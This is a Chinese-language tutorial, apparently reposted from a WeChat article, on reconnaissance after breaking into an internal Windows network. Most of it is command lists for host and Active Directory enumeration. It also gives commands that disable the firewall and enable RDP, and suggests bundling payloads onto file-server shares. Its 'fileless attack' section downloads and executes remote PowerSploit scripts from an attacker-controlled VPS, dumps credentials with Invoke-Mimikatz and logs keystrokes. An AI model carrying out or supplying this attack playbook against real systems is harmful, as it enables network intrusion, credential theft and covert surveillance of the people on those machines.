1. 程式人生 > 實用技巧 >內網滲透學習-資訊收集篇

內網滲透學習-資訊收集篇

轉載自https://mp.weixin.qq.com/s/kVa5UBobE-m0krdXSrhO6Q

介紹

當我們通過滲透進入內網環境後,面對的是一片未知區域。對當前機器角色判斷,對機器所處區域分析。本文分成兩個部分。第一部分是常見資訊收集思路、第二部分是一些小工具推薦

判斷當前機器區域

判斷機器所處於網路拓撲哪個區域,是在DMZ區、辦公區、核心區。區域界限是相對的

機器角色判斷

  • 檔案伺服器:配合社工,生成payload捆綁到檔案伺服器公用檔案上,可批量上線主機
  • DNS伺服器:埠53,可通過DNS伺服器獲取內網web系統資訊,或者探測域資訊
  • DHCP伺服器:檢視內網多組網段資訊,更多的獲取拓補資訊
  • 開發測試伺服器:獲取原始碼,新的資訊資產,多存在弱口令
  • 代理伺服器:獲取伺服器賬號,拿到各種密碼
  • web伺服器:可能需要提權
  • 個人PC:檢視是否存在域環境

本機資訊收集

包括作業系統、許可權、內網IP段、殺軟、埠、服務、補丁情況、網路連線、共享、會話等。如果是域內主機,那麼作業系統、應用軟體、補丁、服務、殺軟一般都是批量安裝的。檔案共享/FTP連線記錄、瀏覽器訪問記錄、mstsc連線記錄、ssh連線記錄。

#查詢網路配置資訊。進行IP地址段資訊收集
ipconfig /all
#查詢作業系統及軟體資訊
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統
# 檢視系統體系結構
echo %PROCESSOR_ARCHITECTURE% 
#PowerShell收集軟體的版本資訊
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
#檢視當前許可權
whoami && whoami /priv
#查詢本機服務資訊
wmic service list brief
#檢視安裝的軟體的版本、路徑等
wmic product get name, version 
#查詢程序資訊
wmic process list brief
#檢視啟動程式資訊
wmic startup get command,caption 
#檢視計劃任務
at(win10之前)
schtasks /query /fo LIST /v(win10)
#檢視主機開機時間
net statistics workstation
#檢視本機使用者列表
net user 
#獲取本地管理員資訊
net localgroup administrators 
##檢視當前線上使用者
query user || qwinsta 
#列出或斷開本地計算機與所連線的客戶端的對話
net session
#查詢埠列表
netstat -ano/-tnlp
#檢視補丁列表
systeminfo 
# 檢視補丁的名稱、描述、ID、安裝時間等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#檢視本機共享列表和可訪問的域共享列表
net share (445埠)
#查詢共享列表
wmic share get name,path,status 
#磁碟對映
net use k:\\192.168.1.10\c$
#檢視當前系統版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查詢路由表
route print
#可用介面的ARP快取表。區域網內arp -a,檢視是否有重複的mac地址判斷是否存在arp欺騙。伺服器繫結mac地址方式防止arp欺騙
arp -a
#檢視服務
tasklist
#檢視線上使用者
quser
#檢視遠端連線資訊
cmdkey /l
#檢視殺軟
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#檢視本地密碼策略
net accounts 
#檢視hosts檔案:
linux:cat  /etc/hosts
windows:type  c:\Windows\system32\drivers\etc\hosts
#檢視dns快取
ipconfig  /displaydns

我們可使用自動化指令碼WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令列)。在預設情況下,任何版本的Windows XP的低許可權使用者不能訪問WMIC,Windows 7以上版本的低許可權使用者允許訪問WMIC並執行相關操作。 執行後,會將資訊收集的結果寫入HTML文件。

專案地址:
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

常見防毒軟體的程序

程序 軟體名稱
360SD.EXE 360防毒
360TRAY.EXE 360實時保護
ZHUDONGFANGYU.EXE 360主動防禦
KSAFETRAY.EXE 金山衛士
SAFEDOGUPDATECENTER.EXE 伺服器安全狗
MCAFEE MCSHIELD.EXE 邁克菲防毒軟體
EGUI.EXE NOD32
AVP.EXE 卡巴斯基
AVGUARD.EXE 小紅傘
BDAGENT.EXE BITDEFENDER

域環境資訊收集

判斷是否存在域。ipconfig /all 可檢視閘道器IP地址、DNS的IP地址、域名、本機是否和DNS伺服器處在同一網段等。通過反向解析查詢命令nslookup來解析域名的IP地址,用解析到的IP地址進行對比,判斷域控伺服器和DNS伺服器是否在同一臺機器上

#檢視當前許可權
whoami 
#獲取域使用者SID
whoami /all 
#查詢指定使用者的詳情資訊
net user xxx /domain 
#檢視域內所有賬號
net user /domain 
#對比檢視"域(域名)"和"登入伺服器(域控制器)"的資訊是否匹配
systeminfo 
#對比檢視"工作站域DNS名稱(域名)"和"登入域()域控制器"的資訊是否相匹配
net config workstation 
#檢視時間可以找到域控
net time /domain
#檢視域密碼策略
net accounts /domain 
#檢視當前登入域    
net config workstation
#檢視域使用者
net user /domain
# 登入本機的域管理員
net localgroup administrators /domain
#獲取域控ip
ping -a xxx.com
#查詢域
net view /domain
#查詢域內的所有計算機 
net view /domain:HACHE 
#查詢域的所有組(enterprise admins組許可權最大)
net group /domain 
# SPN掃描
setspn -T domain -q */* 
#檢視域管理員的使用者組
net group "domain admins" /domain
#查詢域系統管理員使用者組
net group "Enterprise admins" /domain 
#檢視域控制器
net group "domain controllers" /domain
#檢視域控制器的機器名
nltest /DCLIST:hacke 
#檢視dns快取
ipconfig  /displaydns
#列域控c盤檔案(需要域管理員許可權)
dir \\WIN-75NA0949GFB.safe-duck.com\c$
#查詢所有域成員計算機列表
net group "domain computers" /domain 
#獲取域信任資訊
nltest /domain_trusts 
#獲取域內使用者的詳細資訊
wmic useraccount get /all 
#檢視存在的使用者
dsquery user 
#查詢所有計算機名稱
dsquery computer
#攻擊主機CMD掃描同網段存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#檢視域控制器
net group "domaincontrollers" /domain

查詢防火牆相關配置

關閉防火牆

Windows Server 2003及之前的版本:

netsh firewall set opmode disable

Windows Server 2003之後的版本:

netsh advfirewall set allprofiles state off

檢視防火牆配置

netsh firewall show config

修改防火牆配置

Windows Server 2003及之前的版本,允許指定程式全部連線:

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

Windows Server 2003之後的版本,情況如下。

允許指定程式進入:

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

允許指定程式退出:

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

允許3389埠放行:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

自定義防火牆日誌的儲存位置

netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查詢代理配置情況

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

這裡我本地是沒開代理埠的:

查詢並開啟遠端連線服務

檢視遠端連線埠

Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber

在命令列環境中執行登錄檔查詢語句,連線的埠為0xd3d,轉換後為3389:

在Windows Server 2003中開啟3389埠

wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1

在Windows Server 2008和Windows Server 2012中開啟3389埠

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

Ping探測主機存活(ICMP)

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

MSF資訊收集

MSF主機存活探測、埠掃描

auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
auxiliary/scanner/portscan/tcp

auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack

MSF建立會話拿到shell,即可直接執行DOS命令至今進行資訊收集。也可以進行直接執行run winenum可以一鍵收集記錄。

run winenum

powershell 資訊收集

預設powershell是不能執行指令碼的,獲取指令碼策略之後才能使用:

get-executionpolicy

更改執行策略必須以管理員身份執行才可以,否則報錯登錄檔安全問題

set-executionpolicy unrestricted

PowerSploit資訊收集

專案地址:https://github.com/PowerShellMafia/PowerSploit

建立會話後的meterpreter:

#載入模組
load powershell
#呼叫本地ps指令碼
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令執行
powershell_execute  Get-NetDomain 
#獲取當前的域名稱
Get-NetDomain  
#返回所有域內成員的詳細資訊
Get-Netuser 
#獲取所有的域內的控制器資訊
Get-NetDomainController 
#獲取所有域內機器的名稱
Get-NetComputer  
#獲取域內的所有的網路共享
Get-Netshare
#獲取指定服務的遠端連線資訊  
Get-NetRDPSESSION  
#獲取程序的詳細資訊
Get-NetProcess  
# 獲取活動目錄的資訊
Get-ADOPJECT 
#判斷使用者是否登陸計算機且使用者是否有管理員許可權
invoke-processhunter

powersploit無檔案攻擊

將下載的檔案放在vps上面。確保目標伺服器可以訪問:

#在目標機匯入指令碼:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
#掃描網段、埠
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#導hash
Invoke-Mimikatz -dumpcreds
#get-keystrokes鍵盤記錄
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#將鍵盤記錄儲存到123.txt裡面
Get-Keystrokes -logpath C:\Users\admin\123.txt

翻翻配置檔案

一個正常的Web應用肯定有對應的資料庫賬號密碼資訊,可以使用如下命令尋找包含密碼欄位的檔案:

findstr  /s /m "password" *.*

常用應用的預設配置路徑:

Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

Apache:
/etc/httpd/conf/httpd.conf

Nginx:
/etc/nginx/nginx.conf

Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysql\user.MYD

還有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列產品(Xshell,Xftp)的密碼檢視

專案: https://github.com/uknowsec/SharpDecryptPwd

END

資訊收集在內網滲透中的重要程度不言而喻。還有一些工具比如 psloggdon.exe、PVEFindADUser.exe、LaZagne、Impacket、Empire系列等等。祝師傅輕鬆拿到域控

推薦作者公眾號: